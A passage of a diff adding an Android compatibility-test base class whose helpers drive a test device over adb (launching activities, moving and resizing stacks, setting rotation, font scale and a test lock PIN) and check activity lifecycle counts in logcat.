+    private static final String LOG_SEPARATOR = "LOG_SEPARATOR";
+
+    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
+    // updated.
+    /** Invalid stack ID. */
+    public static final int INVALID_STACK_ID = -1;
+
+    /** First static stack ID. */
+    public static final int FIRST_STATIC_STACK_ID = 0;
+
+    /** Home activity stack ID. */
+    public static final int HOME_STACK_ID = FIRST_STATIC_STACK_ID;
+
+    /** ID of stack where fullscreen activities are normally launched into. */
+    public static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
+
+    /** ID of stack where freeform/resized activities are normally launched into. */
+    public static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
+
+    /** ID of stack that occupies a dedicated region of the screen. */
+    public static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
+
+    /** ID of stack that always on top (always visible) when it exist. */
+    public static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
+
+    /** Recents activity stack ID. */
+    public static final int RECENTS_STACK_ID = PINNED_STACK_ID + 1;
+
+    /** Assistant activity stack ID.  This stack is fullscreen and non-resizeable. */
+    public static final int ASSISTANT_STACK_ID = RECENTS_STACK_ID + 1;
+
+    protected static final int[] ALL_STACK_IDS_BUT_HOME = {
+            FULLSCREEN_WORKSPACE_STACK_ID, FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID,
+            PINNED_STACK_ID, ASSISTANT_STACK_ID
+    };
+
+    protected static final int[] ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN = {
+            FREEFORM_WORKSPACE_STACK_ID, DOCKED_STACK_ID, PINNED_STACK_ID, ASSISTANT_STACK_ID
+    };
+
+    private static final String TASK_ID_PREFIX = "taskId";
+
+    private static final String AM_STACK_LIST = "am stack list";
+
+    private static final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.server.cts";
+    private static final String AM_FORCE_STOP_SECOND_TEST_PACKAGE
+            = "am force-stop android.server.cts.second";
+    private static final String AM_FORCE_STOP_THIRD_TEST_PACKAGE
+            = "am force-stop android.server.cts.third";
+
+    private static final String AM_REMOVE_STACK = "am stack remove ";
+
+    protected static final String AM_START_HOME_ACTIVITY_COMMAND =
+            "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
+
+    protected static final String AM_MOVE_TOP_ACTIVITY_TO_PINNED_STACK_COMMAND =
+            "am stack move-top-activity-to-pinned-stack 1 0 0 500 500";
+
+    static final String LAUNCHING_ACTIVITY = "LaunchingActivity";
+    static final String ALT_LAUNCHING_ACTIVITY = "AltLaunchingActivity";
+    static final String BROADCAST_RECEIVER_ACTIVITY = "BroadcastReceiverActivity";
+
+    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+    static final String FINISH_ACTIVITY_BROADCAST
+            = "am broadcast -a trigger_broadcast --ez finish true";
+
+    /** Broadcast shell command for finishing {@link BroadcastReceiverActivity}. */
+    static final String MOVE_TASK_TO_BACK_BROADCAST
+            = "am broadcast -a trigger_broadcast --ez moveToBack true";
+
+    private static final String AM_RESIZE_DOCKED_STACK = "am stack resize-docked-stack ";
+    private static final String AM_RESIZE_STACK = "am stack resize ";
+
+    static final String AM_MOVE_TASK = "am stack move-task ";
+
+    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
+            "am supports-split-screen-multi-window";
+    private static final String AM_NO_HOME_SCREEN = "am no-home-screen";
+
+    private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
+    private static final String INPUT_KEYEVENT_BACK = "input keyevent 4";
+    private static final String INPUT_KEYEVENT_APP_SWITCH = "input keyevent 187";
+    public static final String INPUT_KEYEVENT_WINDOW = "input keyevent 171";
+
+    private static final String LOCK_CREDENTIAL = "1234";
+
+    private static final int INVALID_DISPLAY_ID = -1;
+
+    private static final String DEFAULT_COMPONENT_NAME = "android.server.cts";
+
+    static String componentName = DEFAULT_COMPONENT_NAME;
+
+    protected static final int INVALID_DEVICE_ROTATION = -1;
+
+    /** A reference to the device under test. */
+    protected ITestDevice mDevice;
+
+    private HashSet<String> mAvailableFeatures;
+
+    protected static String getAmStartCmd(final String activityName) {
+        return "am start -n " + getActivityComponentName(activityName);
+    }
+
+    /**
+     * @return the am command to start the given activity with the following extra key/value pairs.
+     *         {@param keyValuePairs} must be a list of arguments defining each key/value extra.
+     */
+    protected static String getAmStartCmd(final String activityName,
+            final String... keyValuePairs) {
+        String base = getAmStartCmd(activityName);
+        if (keyValuePairs.length % 2 != 0) {
+            throw new RuntimeException("keyValuePairs must be pairs of key/value arguments");
+        }
+        for (int i = 0; i < keyValuePairs.length; i += 2) {
+            base += " --es " + keyValuePairs[i] + " " + keyValuePairs[i + 1];
+        }
+        return base;
+    }
+
+    protected static String getAmStartCmd(final String activityName, final int displayId) {
+        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000"
+                + " --display " + displayId;
+    }
+
+    protected static String getAmStartCmdInNewTask(final String activityName) {
+        return "am start -n " + getActivityComponentName(activityName) + " -f 0x18000000";
+    }
+
+    protected static String getAmStartCmdOverHome(final String activityName) {
+        return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
+    }
+
+    protected static String getOrientationBroadcast(int orientation) {
+        return "am broadcast -a trigger_broadcast --ei orientation " + orientation;
+    }
+
+    static String getActivityComponentName(final String activityName) {
+        return getActivityComponentName(componentName, activityName);
+    }
+
+    private static boolean isFullyQualifiedActivityName(String name) {
+        return name != null && name.contains(".");
+    }
+
+    static String getActivityComponentName(final String packageName, final String activityName) {
+        return packageName + "/" + (isFullyQualifiedActivityName(activityName) ? "" : ".") +
+                activityName;
+    }
+
+    // A little ugly, but lets avoid having to strip static everywhere for
+    // now.
+    public static void setComponentName(String name) {
+        componentName = name;
+    }
+
+    static String getBaseWindowName() {
+        return getBaseWindowName(componentName);
+    }
+
+    static String getBaseWindowName(final String packageName) {
+        return getBaseWindowName(packageName, true /*prependPackageName*/);
+    }
+
+    static String getBaseWindowName(final String packageName, boolean prependPackageName) {
+        return packageName + "/" + (prependPackageName ? packageName + "." : "");
+    }
+
+    static String getWindowName(final String activityName) {
+        return getWindowName(componentName, activityName);
+    }
+
+    static String getWindowName(final String packageName, final String activityName) {
+        return getBaseWindowName(packageName, !isFullyQualifiedActivityName(activityName))
+                + activityName;
+    }
+
+    protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
+
+    private int mInitialAccelerometerRotation;
+    private int mUserRotation;
+    private float mFontScale;
+
+    private SurfaceTraceReceiver mSurfaceTraceReceiver;
+    private Thread mSurfaceTraceThread;
+
+    void installSurfaceObserver(SurfaceTraceReceiver.SurfaceObserver observer) {
+        mSurfaceTraceReceiver = new SurfaceTraceReceiver(observer);
+        mSurfaceTraceThread = new Thread() {
+            @Override
+            public void run() {
+                try {
+                    mDevice.executeShellCommand("wm surface-trace", mSurfaceTraceReceiver);
+                } catch (DeviceNotAvailableException e) {
+                    logE("Device not available: " + e.toString());
+                }
+            }
+        };
+        mSurfaceTraceThread.start();
+    }
+
+    void removeSurfaceObserver() {
+        mSurfaceTraceReceiver.cancel();
+        mSurfaceTraceThread.interrupt();
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        setComponentName(DEFAULT_COMPONENT_NAME);
+
+        // Get the device, this gives a handle to run commands and install APKs.
+        mDevice = getDevice();
+        wakeUpAndUnlockDevice();
+        pressHomeButton();
+        // Remove special stacks.
+        removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
+        // Store rotation settings.
+        mInitialAccelerometerRotation = getAccelerometerRotation();
+        mUserRotation = getUserRotation();
+        mFontScale = getFontScale();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        try {
+            executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
+            executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
+            executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
+            // Restore rotation settings to the state they were before test.
+            setAccelerometerRotation(mInitialAccelerometerRotation);
+            setUserRotation(mUserRotation);
+            setFontScale(mFontScale);
+            // Remove special stacks.
+            removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
+            wakeUpAndUnlockDevice();
+            pressHomeButton();
+        } catch (DeviceNotAvailableException e) {
+        }
+    }
+
+    protected void removeStacks(int... stackIds) {
+        try {
+            for (Integer stackId : stackIds) {
+                executeShellCommand(AM_REMOVE_STACK + stackId);
+            }
+        } catch (DeviceNotAvailableException e) {
+        }
+    }
+
+    protected String executeShellCommand(String command) throws DeviceNotAvailableException {
+        return executeShellCommand(mDevice, command);
+    }
+
+    protected static String executeShellCommand(ITestDevice device, String command)
+            throws DeviceNotAvailableException {
+        log("adb shell " + command);
+        return device.executeShellCommand(command);
+    }
+
+    protected void executeShellCommand(String command, CollectingOutputReceiver outputReceiver)
+            throws DeviceNotAvailableException {
+        log("adb shell " + command);
+        mDevice.executeShellCommand(command, outputReceiver);
+    }
+
+    protected BufferedImage takeScreenshot() throws Exception {
+        final InputStreamSource stream = mDevice.getScreenshot("PNG", false /* rescale */);
+        if (stream == null) {
+            fail("Failed to take screenshot of device");
+        }
+        return ImageIO.read(stream.createInputStream());
+    }
+
+    protected void launchActivityInComponent(final String componentName,
+            final String targetActivityName, final String... keyValuePairs) throws Exception {
+        final String originalComponentName = ActivityManagerTestBase.componentName;
+        setComponentName(componentName);
+        launchActivity(targetActivityName, keyValuePairs);
+        setComponentName(originalComponentName);
+    }
+
+    protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+        mAmWmState.waitForValidState(mDevice, targetActivityName);
+    }
+
+    protected void launchActivityNoWait(final String targetActivityName,
+            final String... keyValuePairs) throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
+    }
+
+    protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
+        executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
+        mAmWmState.waitForValidState(mDevice, targetActivityName);
+    }
+
+    /**
+     * Starts an activity in a new stack.
+     * @return the stack id of the newly created stack.
+     */
+    protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
+        HashSet<Integer> stackIds = getStackIds();
+        executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
+                + " " + getActivityComponentName(activityName));
+        HashSet<Integer> newStackIds = getStackIds();
+        newStackIds.removeAll(stackIds);
+        if (newStackIds.isEmpty()) {
+            return INVALID_STACK_ID;
+        } else {
+            assertTrue(newStackIds.size() == 1);
+            return newStackIds.iterator().next();
+        }
+    }
+
+    /**
+     * Returns the set of stack ids.
+     */
+    private HashSet<Integer> getStackIds() throws Exception {
+        mAmWmState.computeState(mDevice, null);
+        final List<ActivityStack> stacks = mAmWmState.getAmState().getStacks();
+        final HashSet<Integer> stackIds = new HashSet<>();
+        for (ActivityStack s : stacks) {
+            stackIds.add(s.mStackId);
+        }
+        return stackIds;
+    }
+
+    protected void launchHomeActivity()
+            throws Exception {
+        executeShellCommand(AM_START_HOME_ACTIVITY_COMMAND);
+        mAmWmState.waitForHomeActivityVisible(mDevice);
+    }
+
+    protected void launchActivityOnDisplay(String targetActivityName, int displayId)
+            throws Exception {
+        executeShellCommand(getAmStartCmd(targetActivityName, displayId));
+
+        mAmWmState.waitForValidState(mDevice, targetActivityName);
+    }
+
+    /**
+     * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
+     * that one should be started first.
+     * @param toSide Launch to side in split-screen.
+     * @param randomData Make intent URI random by generating random data.
+     * @param multipleTask Allow multiple task launch.
+     * @param targetActivityName Target activity to be launched. Only class name should be provided,
+     *                           package name of {@link #LAUNCHING_ACTIVITY} will be added
+     *                           automatically.
+     * @param displayId Display id where target activity should be launched.
+     * @throws Exception
+     */
+    protected void launchActivityFromLaunching(boolean toSide, boolean randomData,
+            boolean multipleTask, String targetActivityName, int displayId) throws Exception {
+        StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
+        commandBuilder.append(" -f 0x20000000");
+        if (toSide) {
+            commandBuilder.append(" --ez launch_to_the_side true");
+        }
+        if (randomData) {
+            commandBuilder.append(" --ez random_data true");
+        }
+        if (multipleTask) {
+            commandBuilder.append(" --ez multiple_task true");
+        }
+        if (targetActivityName != null) {
+            commandBuilder.append(" --es target_activity ").append(targetActivityName);
+        }
+        if (displayId != INVALID_DISPLAY_ID) {
+            commandBuilder.append(" --ei display_id ").append(displayId);
+        }
+        executeShellCommand(commandBuilder.toString());
+
+        mAmWmState.waitForValidState(mDevice, targetActivityName);
+    }
+
+    protected void launchActivityInStack(String activityName, int stackId,
+            final String... keyValuePairs) throws Exception {
+        executeShellCommand(getAmStartCmd(activityName, keyValuePairs) + " --stack " + stackId);
+
+        mAmWmState.waitForValidState(mDevice, activityName, stackId);
+    }
+
+    protected void launchActivityInDockStack(String activityName) throws Exception {
+        launchActivity(activityName);
+        // TODO(b/36279415): The way we launch an activity into the docked stack is different from
+        // what the user actually does. Long term we should use
+        // "adb shell input keyevent --longpress _app_swich_key_code_" to trigger a long press on
+        // the recents button which is consistent with what the user does. However, currently sys-ui
+        // does handle FLAG_LONG_PRESS for the app switch key. It just listens for long press on the
+        // view. We need to fix that in sys-ui before we can change this.
+        moveActivityToDockStack(activityName);
+
+        mAmWmState.waitForValidState(mDevice, activityName, DOCKED_STACK_ID);
+    }
+
+    protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
+            String targetActivity) throws Exception {
+        final String activityToLaunch = targetActivity != null ? targetActivity : "TestActivity";
+        getLaunchActivityBuilder().setToSide(true).setRandomData(randomData)
+                .setMultipleTask(multipleTaskFlag).setTargetActivityName(activityToLaunch)
+                .execute();
+
+        mAmWmState.waitForValidState(mDevice, activityToLaunch, FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    protected void moveActivityToDockStack(String activityName) throws Exception {
+        moveActivityToStack(activityName, DOCKED_STACK_ID);
+    }
+
+    protected void moveActivityToStack(String activityName, int stackId) throws Exception {
+        final int taskId = getActivityTaskId(activityName);
+        final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
+        executeShellCommand(cmd);
+
+        mAmWmState.waitForValidState(mDevice, activityName, stackId);
+    }
+
+    protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
+            throws Exception {
+        final int taskId = getActivityTaskId(activityName);
+        final String cmd = "am task resize "
+                + taskId + " " + left + " " + top + " " + right + " " + bottom;
+        executeShellCommand(cmd);
+    }
+
+    protected void resizeDockedStack(
+            int stackWidth, int stackHeight, int taskWidth, int taskHeight)
+                    throws DeviceNotAvailableException {
+        executeShellCommand(AM_RESIZE_DOCKED_STACK
+                + "0 0 " + stackWidth + " " + stackHeight
+                + " 0 0 " + taskWidth + " " + taskHeight);
+    }
+
+    protected void resizeStack(int stackId, int stackLeft, int stackTop, int stackWidth,
+            int stackHeight) throws DeviceNotAvailableException {
+        executeShellCommand(AM_RESIZE_STACK + String.format("%d %d %d %d %d", stackId, stackLeft,
+                stackTop, stackWidth, stackHeight));
+    }
+
+    protected void pressHomeButton() throws DeviceNotAvailableException {
+        executeShellCommand(INPUT_KEYEVENT_HOME);
+    }
+
+    protected void pressBackButton() throws DeviceNotAvailableException {
+        executeShellCommand(INPUT_KEYEVENT_BACK);
+    }
+
+    protected void pressAppSwitchButton() throws DeviceNotAvailableException {
+        executeShellCommand(INPUT_KEYEVENT_APP_SWITCH);
+    }
+
+    // Utility method for debugging, not used directly here, but useful, so kept around.
+    protected void printStacksAndTasks() throws DeviceNotAvailableException {
+        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        executeShellCommand(AM_STACK_LIST, outputReceiver);
+        String output = outputReceiver.getOutput();
+        for (String line : output.split("\\n")) {
+            CLog.logAndDisplay(LogLevel.INFO, line);
+        }
+    }
+
+    protected int getActivityTaskId(String name) throws DeviceNotAvailableException {
+        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        executeShellCommand(AM_STACK_LIST, outputReceiver);
+        final String output = outputReceiver.getOutput();
+        final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
+        for (String line : output.split("\\n")) {
+            Matcher matcher = activityPattern.matcher(line);
+            if (matcher.matches()) {
+                for (String word : line.split("\\s+")) {
+                    if (word.startsWith(TASK_ID_PREFIX)) {
+                        final String withColon = word.split("=")[1];
+                        return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
+    protected boolean supportsVrMode() throws DeviceNotAvailableException {
+        return hasDeviceFeature("android.software.vr.mode") &&
+                hasDeviceFeature("android.hardware.vr.high_performance");
+    }
+
+    protected boolean supportsPip() throws DeviceNotAvailableException {
+        return hasDeviceFeature("android.software.picture_in_picture")
+                || PRETEND_DEVICE_SUPPORTS_PIP;
+    }
+
+    protected boolean supportsFreeform() throws DeviceNotAvailableException {
+        return hasDeviceFeature("android.software.freeform_window_management")
+                || PRETEND_DEVICE_SUPPORTS_FREEFORM;
+    }
+
+    protected boolean isHandheld() throws DeviceNotAvailableException {
+        return !hasDeviceFeature("android.software.leanback")
+                && !hasDeviceFeature("android.software.watch");
+    }
+
+    protected boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
+        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW, outputReceiver);
+        String output = outputReceiver.getOutput();
+        return !output.startsWith("false");
+    }
+
+    protected boolean noHomeScreen() throws DeviceNotAvailableException {
+        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        executeShellCommand(AM_NO_HOME_SCREEN, outputReceiver);
+        String output = outputReceiver.getOutput();
+        return output.startsWith("true");
+    }
+
+    protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
+        if (mAvailableFeatures == null) {
+            // TODO: Move this logic to ITestDevice.
+            final String output = runCommandAndPrintOutput("pm list features");
+
+            // Extract the id of the new user.
+            mAvailableFeatures = new HashSet<>();
+            for (String feature: output.split("\\s+")) {
+                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
+                String[] tokens = feature.split(":");
+                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
+                        tokens.length > 1);
+                assertEquals(feature, "feature", tokens[0]);
+                mAvailableFeatures.add(tokens[1]);
+            }
+        }
+        boolean result = mAvailableFeatures.contains(requiredFeature);
+        if (!result) {
+            CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support " + requiredFeature);
+        }
+        return result;
+    }
+
+    private boolean isDisplayOn() throws DeviceNotAvailableException {
+        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        mDevice.executeShellCommand("dumpsys power", outputReceiver);
+
+        for (String line : outputReceiver.getOutput().split("\\n")) {
+            line = line.trim();
+
+            final Matcher matcher = sDisplayStatePattern.matcher(line);
+            if (matcher.matches()) {
+                final String state = matcher.group(1);
+                log("power state=" + state);
+                return "ON".equals(state);
+            }
+        }
+        log("power state :(");
+        return false;
+    }
+
+    protected void sleepDevice() throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        runCommandAndPrintOutput("input keyevent 26");
+        do {
+            if (isDisplayOn()) {
+                log("***Waiting for display to turn off...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    protected void wakeUpAndUnlockDevice() throws DeviceNotAvailableException {
+        wakeUpDevice();
+        unlockDevice();
+    }
+
+    protected void wakeUpDevice() throws DeviceNotAvailableException {
+        runCommandAndPrintOutput("input keyevent 224");
+    }
+
+    protected void unlockDevice() throws DeviceNotAvailableException {
+        runCommandAndPrintOutput("input keyevent 82");
+    }
+
+    protected void unlockDeviceWithCredential() throws Exception {
+        runCommandAndPrintOutput("input keyevent 82");
+        try {
+            Thread.sleep(3000);
+        } catch (InterruptedException e) {
+            //ignored
+        }
+        enterAndConfirmLockCredential();
+    }
+
+    protected void enterAndConfirmLockCredential() throws Exception {
+        // TODO: This should use waitForIdle..but there ain't such a thing on hostside tests, boo :(
+        Thread.sleep(500);
+
+        runCommandAndPrintOutput("input text " + LOCK_CREDENTIAL);
+        runCommandAndPrintOutput("input keyevent KEYCODE_ENTER");
+    }
+
+    protected void gotoKeyguard() throws DeviceNotAvailableException {
+        sleepDevice();
+        wakeUpDevice();
+    }
+
+    protected void setLockCredential() throws DeviceNotAvailableException {
+        runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
+    }
+
+    protected void removeLockCredential() throws DeviceNotAvailableException {
+        runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
+    }
+
+    /**
+     * Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
+     * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
+     */
+    protected void setDeviceRotation(int rotation) throws Exception {
+        setAccelerometerRotation(0);
+        setUserRotation(rotation);
+        mAmWmState.waitForRotation(mDevice, rotation);
+    }
+
+    protected int getDeviceRotation(int displayId) throws DeviceNotAvailableException {
+        final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
+        Pattern pattern = Pattern.compile(
+                "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
+                        + "(rotation)(\\s+)(\\d+)");
+        Matcher matcher = pattern.matcher(displays);
+        while (matcher.find()) {
+            final String match = matcher.group(7);
+            return Integer.parseInt(match);
+        }
+
+        return INVALID_DEVICE_ROTATION;
+    }
+
+    private int getAccelerometerRotation() throws DeviceNotAvailableException {
+        final String rotation =
+                runCommandAndPrintOutput("settings get system accelerometer_rotation");
+        return Integer.parseInt(rotation.trim());
+    }
+
+    private void setAccelerometerRotation(int rotation) throws DeviceNotAvailableException {
+        runCommandAndPrintOutput(
+                "settings put system accelerometer_rotation " + rotation);
+    }
+
+    protected int getUserRotation() throws DeviceNotAvailableException {
+        final String rotation =
+                runCommandAndPrintOutput("settings get system user_rotation").trim();
+        if ("null".equals(rotation)) {
+            return -1;
+        }
+        return Integer.parseInt(rotation);
+    }
+
+    private void setUserRotation(int rotation) throws DeviceNotAvailableException {
+        if (rotation == -1) {
+            runCommandAndPrintOutput(
+                    "settings delete system user_rotation");
+        } else {
+            runCommandAndPrintOutput(
+                    "settings put system user_rotation " + rotation);
+        }
+    }
+
+    protected void setFontScale(float fontScale) throws DeviceNotAvailableException {
+        if (fontScale == 0.0f) {
+            runCommandAndPrintOutput(
+                    "settings delete system font_scale");
+        } else {
+            runCommandAndPrintOutput(
+                    "settings put system font_scale " + fontScale);
+        }
+    }
+
+    protected float getFontScale() throws DeviceNotAvailableException {
+        try {
+            final String fontScale =
+                    runCommandAndPrintOutput("settings get system font_scale").trim();
+            return Float.parseFloat(fontScale);
+        } catch (NumberFormatException e) {
+            // If we don't have a valid font scale key, return 0.0f now so
+            // that we delete the key in tearDown().
+            return 0.0f;
+        }
+    }
+
+    protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
+        final String output = executeShellCommand(command);
+        log(output);
+        return output;
+    }
+
+    /**
+     * Tries to clear logcat and inserts log separator in case clearing didn't succeed, so we can
+     * always find the starting point from where to evaluate following logs.
+     * @return Unique log separator.
+     */
+    protected String clearLogcat() throws DeviceNotAvailableException {
+        mDevice.executeAdbCommand("logcat", "-c");
+        final String uniqueString = UUID.randomUUID().toString();
+        executeShellCommand("log -t " + LOG_SEPARATOR + " " + uniqueString);
+        return uniqueString;
+    }
+
+    void assertActivityLifecycle(String activityName, boolean relaunched,
+            String logSeparator) throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyLifecycleCondition(activityName, logSeparator, relaunched);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyLifecycleCondition(String activityName, String logSeparator,
+            boolean relaunched) throws DeviceNotAvailableException {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+        if (relaunched) {
+            if (lifecycleCounts.mDestroyCount < 1) {
+                return activityName + " must have been destroyed. mDestroyCount="
+                        + lifecycleCounts.mDestroyCount;
+            }
+            if (lifecycleCounts.mCreateCount < 1) {
+                return activityName + " must have been (re)created. mCreateCount="
+                        + lifecycleCounts.mCreateCount;
+            }
+        } else {
+            if (lifecycleCounts.mDestroyCount > 0) {
+                return activityName + " must *NOT* have been destroyed. mDestroyCount="
+                        + lifecycleCounts.mDestroyCount;
+            }
+            if (lifecycleCounts.mCreateCount > 0) {
+                return activityName + " must *NOT* have been (re)created. mCreateCount="
+                        + lifecycleCounts.mCreateCount;
+            }
+            if (lifecycleCounts.mConfigurationChangedCount < 1) {
+                return activityName + " must have received configuration changed. "
+                        + "mConfigurationChangedCount="
+                        + lifecycleCounts.mConfigurationChangedCount;
+            }
+        }
+        return null;
+    }
+
+    protected void assertRelaunchOrConfigChanged(
+            String activityName, int numRelaunch, int numConfigChange, String logSeparator)
+            throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyRelaunchOrConfigChanged(activityName, numRelaunch, numConfigChange,
+                    logSeparator);
+            if (resultString != null) {
+                log("***Waiting for relaunch or config changed: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyRelaunchOrConfigChanged(String activityName, int numRelaunch,
+            int numConfigChange, String logSeparator) throws DeviceNotAvailableException {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mDestroyCount != numRelaunch) {
+            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), expecting " + numRelaunch;
+        } else if (lifecycleCounts.mCreateCount != numRelaunch) {
+            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), expecting " + numRelaunch;
+        } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
+            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, expecting " + numConfigChange;
+        }
+        return null;
+    }
+
+    protected void assertActivityDestroyed(String activityName, String logSeparator)
+            throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = verifyActivityDestroyed(activityName, logSeparator);
+            if (resultString != null) {
+                log("***Waiting for activity destroyed: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    /** @return Error string if lifecycle counts don't match, null if everything is fine. */
+    private String verifyActivityDestroyed(String activityName, String logSeparator)
+            throws DeviceNotAvailableException {
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mDestroyCount != 1) {
+            return activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
+                    + " time(s), expecting single destruction.";
+        } else if (lifecycleCounts.mCreateCount != 0) {
+            return activityName + " has been (re)created " + lifecycleCounts.mCreateCount
+                    + " time(s), not expecting any.";
+        } else if (lifecycleCounts.mConfigurationChangedCount != 0) {
+            return activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
+                    + " onConfigurationChanged() calls, not expecting any.";
+        }
+        return null;
+    }
+
+    protected String[] getDeviceLogsForComponent(String componentName, String logSeparator)
+            throws DeviceNotAvailableException {
+        return getDeviceLogsForComponents(new String[]{componentName}, logSeparator);
+    }
+
+    protected String[] getDeviceLogsForComponents(final String[] componentNames,
+            String logSeparator) throws DeviceNotAvailableException {
+        String filters = LOG_SEPARATOR + ":I ";
+        for (String component : componentNames) {
+            filters += component + ":I ";
+        }
+        final String[] result = mDevice.executeAdbCommand(
+                "logcat", "-v", "brief", "-d", filters, "*:S").split("\\n");
+        if (logSeparator == null) {
+            return result;
+        }
+
+        // Make sure that we only check logs after the separator.
+        int i = 0;
+        boolean lookingForSeparator = true;
+        while (i < result.length && lookingForSeparator) {
+            if (result[i].contains(logSeparator)) {
+                lookingForSeparator = false;
+            }
+            i++;
+        }
+        final String[] filteredResult = new String[result.length - i];
+        for (int curPos = 0; i < result.length; curPos++, i++) {
+            filteredResult[curPos] = result[i];
+        }
+        return filteredResult;
+    }
+
+    private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+    private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
+    private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
+    private static final Pattern sConfigurationChangedPattern =
+            Pattern.compile("(.+): onConfigurationChanged");
+    private static final Pattern sMovedToDisplayPattern =
+            Pattern.compile("(.+): onMovedToDisplay");
+    private static final Pattern sStopPattern = Pattern.compile("(.+): onStop");
+    private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
